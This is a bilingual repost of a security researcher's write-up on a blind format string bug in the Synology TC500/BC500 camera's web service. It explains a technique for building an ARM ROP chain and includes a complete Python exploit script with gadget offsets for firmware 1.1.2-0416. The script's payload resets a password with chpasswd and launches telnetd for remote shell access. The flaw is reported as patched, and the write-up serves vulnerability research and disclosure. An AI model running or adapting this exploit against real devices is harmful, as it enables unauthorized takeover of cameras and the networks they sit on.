Exploiting a Blind Format String Vulnerability in Modern Binaries: A Case Study from Pwn2Own Ireland 2024
In October 2024, during the Pwn2Own event in Cork, Ireland, hackers attempted to exploit various hardware devices such as printers, routers, smartphones, home automation systems, NAS devices, security cameras, and more. This blog post highlights a challenging vulnerability that was patched just before the competition. Although it was fixed in time, it deserved more attention than simply being discarded.
2024 年 10 月,在爱尔兰科克举行的 Pwn2Own 活动期间,黑客试图利用各种硬件设备,例如打印机、路由器、智能手机、家庭自动化系统、NAS 设备、安全摄像头等。这篇博文重点介绍了在比赛前修补的一个具有挑战性的漏洞。虽然它在时间上是固定的,但它值得更多的关注,而不是简单地被丢弃。
Introduction 介绍
Prior to Pwn2Own 2024, a prestigious hacking competition known for showcasing exploits targeting widely used software and devices, the Synology TC500 security camera running on an ARM 32-bit architecture was found to be vulnerable to a format string bug. This vulnerability was discovered in a WEB service, specifically in a function parsing HTTP requests, where improper string formatting led to the flaw.
在 Pwn2Own 2024 之前,一项著名的黑客比赛,以展示针对广泛使用的软件和设备的漏洞而闻名,在 ARM 32 位架构上运行的 Synology TC500 安全摄像头被发现容易受到格式字符串漏洞的影响。此漏洞是在 WEB 服务中发现的,特别是在解析 HTTP 请求的函数中,其中不正确的字符串格式导致了该缺陷。
Despite modern security measures such as Address Space Layout Randomization (ASLR), Position Independent Executables (PIE), Non-Executable memory (NX), and Full Relocation Read-Only (Full RelRO), the vulnerability remained exploitable under specific conditions.
尽管采取了现代安全措施,例如地址空间布局随机化 (ASLR)、位置无关可执行文件 (PIE)、非可执行内存 (NX) 和完全重定位只读 (Full RelRO),但该漏洞在特定条件下仍可被利用。
The exploitation came with additional challenges: payloads were limited to 128 characters (with some reserved for the client IP address), and a range of characters (from 0x00
to 0x1F
) was disallowed. Additionally, without memory leaks or visibility into the format string output from the client side, the exploit had to be performed in a blind context.
该漏洞利用带来了额外的挑战:有效载荷限制为 128 个字符(其中一些保留用于客户端 IP 地址),并且不允许使用一定范围的字符(从 0x00
到 0x1F
)。此外,由于没有内存泄漏或对客户端输出的格式字符串的可见性,漏洞利用必须在盲上下文中执行。
The vulnerable code snippet is as follows:
易受攻击的代码片段如下:
void mg_vsnprintf(const struct mg_connection *conn, int *truncated, char *buf, size_t buflen, const char *fmt, va_list ap) {
int n;
int ok;
if ( buflen ) {
n = vsnprintf(buf, buflen, fmt, ap);
ok = (n & 0x80000000) == 0;
if ( n >= buflen ) {
ok = 0;
}
if ( ok ) {
if ( truncated ) {
*truncated = 0;
}
buf[n] = 0;
} else {
if ( truncated ) {
*truncated = 1;
}
mg_cry(conn, "mg_vsnprintf", "truncating vsnprintf buffer: [%.*s]", (int)((buflen > 200) ? 200 : (buflen - 1)), buf);
buf[n] = '\0';
}
} else if ( truncated ) {
*truncated = 1;
}
}
void mg_snprintf(const struct mg_connection *conn, int *truncated, char *buf, size_t buflen, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
mg_vsnprintf(conn, truncated, buf, buflen, fmt, ap);
}
void print_debug_msg(pthread_t thread_id, const char *fmt) {
int i;
if ( workerthreadcount > 0 ) {
i = 0;
do {
if ( debug_table[i].tid == thread_id ) {
mg_snprintf(0, 0, debug_table[i].buf, 0x80u, fmt); // Uncontrolled format string.
debug_table[i].buf[strlen(fmt)] = 0;
}
++i;
} while ( i < workerthreadcount );
}
}
void parse_http_request(struct mg_request_info *conn) {
pthread_t tid;
char buf[0x80];
/* [...] */
tid = pthread_self();
/* [...] */
memset(buf, 0, sizeof(buf));
mg_snprintf(0, 0, buf, 0x80u, "%s%s", hostname, conn->request_uri); // Concat hostname to URI.
if ( debug_table ) {
print_debug_msg(tid, buf);
}
/* [...] */
}
The print_debug_msg
function allows an attacker to control the format string passed to vsnprintf
, leading to potential arbitrary memory writes. This blog post outlines our successful exploitation of this format string vulnerability, employing indirect memory manipulation techniques to bypass modern security measures and achieve arbitrary code execution.
print_debug_msg
函数允许攻击者控制传递给 vsnprintf
的格式字符串,从而导致潜在的任意内存写入。这篇博文概述了我们成功利用此格式字符串漏洞,采用间接内存操纵技术绕过现代安全措施并实现任意代码执行。
Challenge Overview 挑战赛概述
Several technical challenges arose during the exploitation:
在开发过程中出现了几个技术挑战:
- Blind Exploitation: The absence of stack or base address leaks meant we had no visibility into the memory layout.
盲目剥削:没有堆栈或基址泄漏意味着我们无法了解内存布局。 - ASLR and PIE: These mechanisms randomized the addresses of binaries and libraries, making it nearly impossible to rely on fixed addresses for gadgets or stack locations without compromising stability.
ASLR 和 PIE:这些机制随机化了二进制文件和库的地址,使得在不影响稳定性的情况下几乎不可能依赖固定地址来存储小工具或堆栈位置。 - Payload Limitations: The payload was restricted to 128 characters and could not contain null bytes or low ASCII characters (
[0x00-0x1F]
), further complicating the exploitation process.
负载限制:有效载荷限制为 128 个字符,并且不能包含空字节或低 ASCII 字符 ([0x00-0x1F]
),这进一步增加了利用过程。
Given these constraints, a classical stack-based format string exploitation approach was impractical.
鉴于这些限制,经典的基于堆栈的格式字符串开发方法是不切实际的。
Exploitation Strategy: Blind Format String Exploitation
漏洞利用策略:盲格式字符串漏洞利用
The exploitation process required manipulating the format string to control memory writes. The key technique was to use a looping pointer to forge a controlled double stack pointer, allowing it to be adjusted in order to write to arbitrary locations on the stack.
利用过程需要操纵格式字符串以控制内存写入。关键技术是使用循环指针来伪造一个受控的双堆栈指针,允许对其进行调整以写入堆栈上的任意位置。
1. Gaining Write Access to the Stack
1. 获得对堆栈的写入访问权限
The first step in our exploitation was to gain arbitrary write access to the stack. With no memory leaks, we had to work blindly. We found a looping pointer that could be modified to point to another area of the stack containing a valid stack pointer. By changing its least significant byte (LSB), we created a double pointer, allowing us to use the first pointer to modify the second, effectively pointing it to any location on the stack. This allowed us to write to a predictable stack location without needing to know its exact address.
我们利用的第一步是获得对堆栈的任意写入访问权限。由于没有内存泄漏,我们不得不盲目地工作。我们发现了一个循环指针,可以对其进行修改以指向包含有效堆栈指针的堆栈的另一个区域。通过更改其最低有效字节 (LSB),我们创建了一个双指针,允许我们使用第一个指针来修改第二个指针,从而有效地将其指向堆栈上的任何位置。这使我们能够写入可预测的堆栈位置,而无需知道其确切地址。
2. Building the ROP Chain on the stack
2. 在堆栈上构建 ROP 链
Once we achieved arbitrary write access on the stack, we began constructing our ROP chain within unused space in the stack frame of the vulnerable function. This area is never touched, making it an ideal location for our exploit. Additionally, it was close enough to be accessed with a stack adjustment gadget, allowing us to execute our ROP chain.
一旦我们在堆栈上实现了任意写入访问,我们就开始在易受攻击函数的堆栈帧中的未使用空间内构建我们的 ROP 链。这个区域从未被触及,使其成为我们开发的理想地点。此外,它足够近,可以通过堆栈调整小工具访问,从而允许我们执行我们的 ROP 链。
Using the format string specifier %*X$c
, we could read a value at a specific stack offset (such as the return address) and store it in the internal “character counter”. We then incrementally adjusted this value with the %Y$c
format specifier before writing it back to our unused stack space with %Z$n
. This technique allowed us to bypass both PIE and ASLR while building the ROP chain.
使用格式字符串说明符 %*X$c
,我们可以读取特定堆栈偏移量(例如返回地址)的值并将其存储在内部“字符计数器”中。然后,我们使用 %Y$c
格式说明符逐步调整此值,然后使用 %Z$n
将其写回未使用的堆栈空间。这项技术使我们能够在构建 ROP 链时绕过 PIE 和 ASLR。
Careful selection of gadgets was crucial, especially those appearing after the return address, to simplify the increment process:
仔细选择小工具至关重要,尤其是那些出现在返回地址之后的小工具,以简化增量过程:
ropper -f rootfs/bin/webd --nocolor --quality 1 --all | awk '{addr = strtonum($1)} addr > 0x28a5c'
This approach allowed us to build the ROP chain step by step, as follows:
这种方法使我们能够逐步构建 ROP 链,如下所示:
- We adjusted the last pointer of the stack pointer chain to point to the gadget location within the unused stack space using
%916$hhn
.
我们使用%916$hhn
调整了堆栈指针链的最后一个指针,以指向未使用的堆栈空间内的小工具位置。 - By reading the return address with
%*111$c
(the offset could vary depending on the system version) and modifying it with a specific offset, we temporarily stored the gadget address in the “char counter”.
通过使用%*111$c
读取返回地址(偏移量可能因系统版本而异)并使用特定偏移量对其进行修改,我们将小工具地址临时存储在“char counter”中。 - We then wrote the gadget address from the character counter into the unused stack space using one of two techniques, depending on the result of the addition:
然后,我们使用以下两种技术之一将字符计数器中的 gadget 地址写入未使用的堆栈空间,具体取决于添加的结果:- If the last 16 bits did not overflow after the addition, we used the
%924$hn
format specifier to overwrite the last 16 bits of the return address copy on the unused stack space.
如果添加后最后 16 位没有溢出,我们使用%924$hn
格式说明符覆盖未使用的堆栈空间上返回地址副本的最后 16 位。 - If the addition caused the 16-bits value to overflow, we instead used
%924$n
to write the full gadget address directly in one shot. This was feasible due to the relatively low value of the code base address.
如果添加导致 16 位值溢出,我们改用%924$n
一次性直接写入完整的小工具地址。这是可行的,因为代码基地址的值相对较低。
- If the last 16 bits did not overflow after the addition, we used the
Although the one-shot write could be used for any gadget, we aimed to minimize its use for performance reasons: the higher the ROP gadget address, the larger the memory footprint for writing it.
尽管一次性写入可用于任何小工具,但出于性能原因,我们的目标是最大限度地减少其使用:ROP 小工具地址越高,写入它的内存占用就越大。
This process was repeated until the entire ROP chain was constructed.
重复此过程,直到构建整个 ROP 链。
3. Writing the Command Line
3. 编写命令行
With the ROP chain established, we crafted the payload necessary to execute our final command. Our goal was to invoke a shell command via the system()
function.
建立 ROP 链后,我们精心设计了执行最终命令所需的有效载荷。我们的目标是通过 system()
函数调用 shell 命令。
Due to payload restrictions, we wrote each byte of the command string using multiple requests, applying the following process for every characters:
由于负载限制,我们使用多个请求编写命令字符串的每个字节,并对每个字符应用以下过程:
- We adjusted the last pointer of the stack pointer chain to point to the character location in our unused stack space.
我们调整了堆栈指针链的最后一个指针,使其指向未使用的堆栈空间中的字符位置。 - Using a basic format string, we incremented the char counter to the target byte value, then wrote it to the designated position in the unused stack space through our controlled stack pointer using
%924$hhn
.
使用基本格式字符串,我们将 char 计数器递增到目标字节值,然后使用%924$hhn
通过受控堆栈指针将其写入未使用的堆栈空间中的指定位置。
For instance, we wrote the command sh${IFS}-c${IFS}'echo${IFS}synodebug:synodebug|chpasswd;telnetd'
one byte at a time, meticulously controlling the memory writes through the format string. By the end of this process, the command was fully written in the unused stack space, ready for execution.
例如,我们一次编写一个字节的命令 sh${IFS}-c${IFS}'echo${IFS}synodebug:synodebug|chpasswd;telnetd'
,通过格式字符串精心控制内存写入。在此过程结束时,命令已完全写入未使用的堆栈空间,可供执行。
4. Finalizing the Exploit: Adjusting the Stack and Executing the ROP Chain
4. 完成漏洞利用:调整堆栈并执行 ROP 链
The concluding step involved adjusting the stack pointer to execute our prepared ROP chain. This was achieved by overwriting the return address with a gadget that modified the stack pointer, shifting it to a controlled position where the ROP chain awaited.
最后一步涉及调整堆栈指针以执行我们准备好的 ROP 链。这是通过用修改堆栈指针的小工具覆盖返回地址来实现的,将其移动到 ROP 链等待的受控位置。
Once the return address was modified, the program would redirect execution into our ROP chain, eventually calling system()
with the command stored in memory.
一旦修改了返回地址,程序就会将执行重定向到我们的 ROP 链中,最终使用存储在内存中的命令调用 system()。
Here’s a final version of the exploit for the version 1.1.2-0416
:
以下是版本 1.1.2-0416
的漏洞利用程序的最终版本:
#!/usr/bin/env python3
import argparse
import urllib
import socket
import struct
import time
def get_args():
def auto_int(x):
return int(x, 0)
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument("-?", "--help", action="help", help="show this help message and exit")
parser.add_argument("-t", "--timeout", help="Timeout while receiving response", default=5, type=float)
parser.add_argument("-S", "--shost", help="Source host", type=str)
parser.add_argument("-P", "--dport", help="Remote port", default=80, type=int)
parser.add_argument("-H", "--dhost", help="Remote host", default="192.168.15.91", type=str)
args = parser.parse_args()
return args
class Exploit():
def __init__(self, shost, dhost, dport):
self.prefix_padding_size = 16
self.dhost = dhost
self.dport = dport
self.sock = self.connect()
if not self.sock:
exit(0)
if shost:
self.local_ip = shost
else:
self.local_ip = self.sock.getsockname()[0]
def disconnect(self):
self.sock.close()
self.sock = None
def connect(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(None)
sock.connect((self.dhost, self.dport))
return sock
except Exception as e:
return None
def send_payload(self, payload):
try:
if not self.sock:
self.sock = self.connect()
if not self.sock:
exit(0)
self.sock.send(payload)
resp = self.sock.recv(4096)
except Exception as e:
pass
self.disconnect()
def prepare_payload(self, raw_payload, payload_char=0x42):
"""
Append padding to the payload and check for bad chars.
"""
assert not (self.local_ip is None)
assert not (any(c in raw_payload for c in range(0, 0x21)))
url = self.local_ip.encode().ljust(self.prefix_padding_size, b"B")[len(self.local_ip):]
url += raw_payload
payload = b"AAAA " # HTTP verb
payload += url.ljust(115, bytes([payload_char])) # make sure we trigger the truncation
payload += b" CCCC\r\n\r\n" # HTTP version
return payload
def stage_0(self):
"""
Craft a double stack pointer from a looping one.
The looping pointer is at offset 916, we make it point to the offset 924.
The pointer at offset 924 is pointing to the offset 153.
"""
print("[+] Crafting a double stack pointer...")
raw_payload = b""
raw_payload += struct.pack("<L", 0x41414141)
raw_payload += struct.pack("<L", 0x42424242)
raw_payload += f"%{0xe0 - (len(raw_payload) + self.prefix_padding_size)}c".encode()
raw_payload += b"%916$hhn" # overwrite the LSB of the looping pointer.
payload = self.prepare_payload(raw_payload)
self.send_payload(payload)
def point_to_fake_stack(self, stack_offset, shift=0):
"""
Make our controlled stack pointer at offset 924 pointing to our fake stack at a given offset.
"""
raw_payload = b""
raw_payload += struct.pack("<L", 0x41414141)
raw_payload += struct.pack("<L", 0x42424242)
raw_payload += f"%{0x50 + ((stack_offset*4) + shift) - (len(raw_payload) + self.prefix_padding_size)}c".encode()
raw_payload += b"%916$hhn"
payload = self.prepare_payload(raw_payload)
self.send_payload(payload)
def point_to_ret_addr(self):
"""
Make our controlled stack pointer at offset 924 pointing to our return address (offset 111).
"""
raw_payload = b""
raw_payload += struct.pack("<L", 0x41414141)
raw_payload += struct.pack("<L", 0x42424242)
raw_payload += f"%{0x12c - (len(raw_payload) + self.prefix_padding_size)}c".encode()
raw_payload += b"%916$hhn"
payload = self.prepare_payload(raw_payload)
self.send_payload(payload)
def copy_ret_addr_to_ptr(self):
"""
Copy the return address to the controlled stack pointer at offset 924.
"""
raw_payload = b""
raw_payload += struct.pack("<L", 0x41414141)
raw_payload += struct.pack("<L", 0x42424242)
raw_payload += b"%*111$c"
raw_payload += b"%924$n"
payload = self.prepare_payload(raw_payload)
self.send_payload(payload)
def write_webd_gagdet_to_fake_stack(self, gadget_offset, stack_offset):
"""
Write WEBD gadget to our fake stack at a given offset.
"""
origin_ret_addr = 0x28a5c
assert not (gadget_offset < origin_ret_addr & ((1<<16)-1))
self.point_to_fake_stack(stack_offset)
raw_payload = b""
raw_payload += struct.pack("<L", 0x41414141)
raw_payload += struct.pack("<L", 0x42424242)
raw_payload += b"%*111$c" # we use the return address as a reference to our gadget.
if gadget_offset - (origin_ret_addr + (len(raw_payload) + self.prefix_padding_size)) > 0: # check if we can just increment the return address.
offset = gadget_offset - (origin_ret_addr + (len(raw_payload) + self.prefix_padding_size))
str_offset = str(offset+len("%999999")).ljust(len("999999") - 2, "c")
raw_payload += f"%{str_offset}c".encode()
raw_payload += b"%924$n"
else: # or if we need to overwrite the last two bytes of the return address.
self.copy_ret_addr_to_ptr()
offset = (gadget_offset & ((1<<16)-1) | 1 << 16) - (origin_ret_addr & ((1<<16)-1)) - (len(raw_payload) + self.prefix_padding_size)
str_offset = str(offset+len("%999999")).ljust(len("999999") - 2, "c")
raw_payload += f"%{str_offset}c".encode()
raw_payload += b"%924$hn"
payload = self.prepare_payload(raw_payload)
self.send_payload(payload)
def write_byte_to_fake_stack(self, value, stack_offset, value_offset):
"""
Overwrite one byte value of our fake stack at a given offset and index.
"""
origin_ret_addr = 0x28a5c
assert not (value >> 31 == 1) # can't write signed value in one shot.
self.point_to_fake_stack(stack_offset, value_offset)
raw_payload = b""
raw_payload += struct.pack("<L", 0x41414141)
raw_payload += struct.pack("<L", 0x42424242)
offset = ((1<<8) | value) - (len(raw_payload) + self.prefix_padding_size)
raw_payload += f"%{str(offset)}c".encode()
raw_payload += b"%924$hhn"
payload = self.prepare_payload(raw_payload, payload_char=value)
self.send_payload(payload)
def stage_1(self):
"""
Prepare our fake stack.
+------ fake stack offset
| +-- format string offset
V V
0000: |00│120│ add_sp_20h_pop5-fmt_offset // r4: prepare the return address value before overwriting saved pc.
0004: |01│121│ junk // r5
0008: |02│122│ junk // r6
000c: |03│123│ junk // r7
0010: |04│124│ junk // r8
0014: |05│125│ pop_r3 // pc: just to control the next blx r3.
0018: |06│126│ pop_r4_r5 // r3
001c: |07│127│ add_r1_sp_18h_blx_r3 // pc: r1 points to the offset 0x38
0020: |08│128│ junk // r4
0024: |09│129│ junk // r5
0028: |10│130│ pop_r3 // pc
002c: |11│131│ bl_system // r3
0030: |12│132│ mov_r0_r1_blx_r3 // pc: make r0 pointing to our payload
0034: |13│133│ junk
0038: |14│134│ "sh${IFS}-c${IFS}'echo${IFS}synodebug:synodebug|chpasswd;telnetd'"
"""
print("[+] Building a fake stack...")
add_sp_20h_pop5 = 0x000294bc # add sp, sp, #0x20; pop {r4, r5, r6, r7, r8, pc};
pop_r3 = 0x000a8824 # pop {r3, pc}
add_r1_sp_18h_blx_r3 = 0x00042bd0 # add r1, sp, #0x18; add r0, r4, #8; blx r3;
bl_system = 0x00025ddc # bl system
mov_r0_r1_blx_r3 = 0x0003fd5c # mov r0, r1; blx r3;
pop_r4_r5 = 0x0003f5dc # pop {r4, r5, pc};
self.write_webd_gagdet_to_fake_stack(gadget_offset=add_sp_20h_pop5-24, stack_offset=0)
self.write_webd_gagdet_to_fake_stack(gadget_offset=pop_r3, stack_offset=5)
self.write_webd_gagdet_to_fake_stack(gadget_offset=pop_r4_r5, stack_offset=6)
self.write_webd_gagdet_to_fake_stack(gadget_offset=add_r1_sp_18h_blx_r3, stack_offset=7)
self.write_webd_gagdet_to_fake_stack(gadget_offset=pop_r3, stack_offset=10)
self.write_webd_gagdet_to_fake_stack(gadget_offset=bl_system, stack_offset=11)
self.write_webd_gagdet_to_fake_stack(gadget_offset=mov_r0_r1_blx_r3, stack_offset=12)
cmd = b"sh${IFS}-c${IFS}'echo${IFS}synodebug:synodebug|chpasswd;telnetd'"
for i, char in enumerate(cmd):
stack_offset=(14+(i//4)) # 14 is the offset of our command string inside our fake stack.
self.write_byte_to_fake_stack(value=char, stack_offset=stack_offset, value_offset=i%4)
def stage_2(self):
"""
Overwrite the return address with the value stored at the offset 0 of our fake stack (offset 120).
"""
print("[+] Overwriting PC...")
self.point_to_ret_addr()
raw_payload = b""
raw_payload += struct.pack("<L", 0x41414141)
raw_payload += struct.pack("<L", 0x42424242)
raw_payload += b"%*120$c" # we use our fake stack value.
raw_payload += b"%924$n"
payload = self.prepare_payload(raw_payload)
self.send_payload(payload)
def main(args):
exploit = Exploit(args.shost, args.dhost, args.dport)
exploit.stage_0()
exploit.stage_1()
exploit.stage_2()
print("[+] Woot!")
if __name__ == "__main__":
args = get_args()
main(args)
Conclusion 结论
This exploit illustrates how format string vulnerabilities, when paired with specific format string specifiers, can bypass modern defenses such as ASLR and PIE. By utilizing a looping pointer to control writes to the stack, we successfully built a functional ROP chain without relying on direct memory leaks or brute force methods.
此漏洞利用说明了格式字符串漏洞与特定格式字符串说明符配对时如何绕过 ASLR 和 PIE 等现代防御措施。通过利用循环指针来控制对堆栈的写入,我们成功地构建了一个功能性 ROP 链,而无需依赖直接内存泄漏或暴力破解方法。
This vulnerability impacted Synology TC500 and BC500 cameras from version 1.1.1-0383
and was patched in version 1.1.3-0442
(see changelog) before Pwn2Own, meaning the exploit could not be executed during the competition.
此漏洞影响了 1.1.1-0383
版本的 Synology TC500 和 BC500 相机,并在 Pwn2Own 之前的 1.1.3-0442
版本中进行了修补(请参阅更新日志),这意味着该漏洞无法在比赛期间执行。
原文始发于Baptiste MOINE:Exploiting a Blind Format String Vulnerability in Modern Binaries: A Case Study from Pwn2Own Ireland 2024
转载请注明:Exploiting a Blind Format String Vulnerability in Modern Binaries: A Case Study from Pwn2Own Ireland 2024 | CTF导航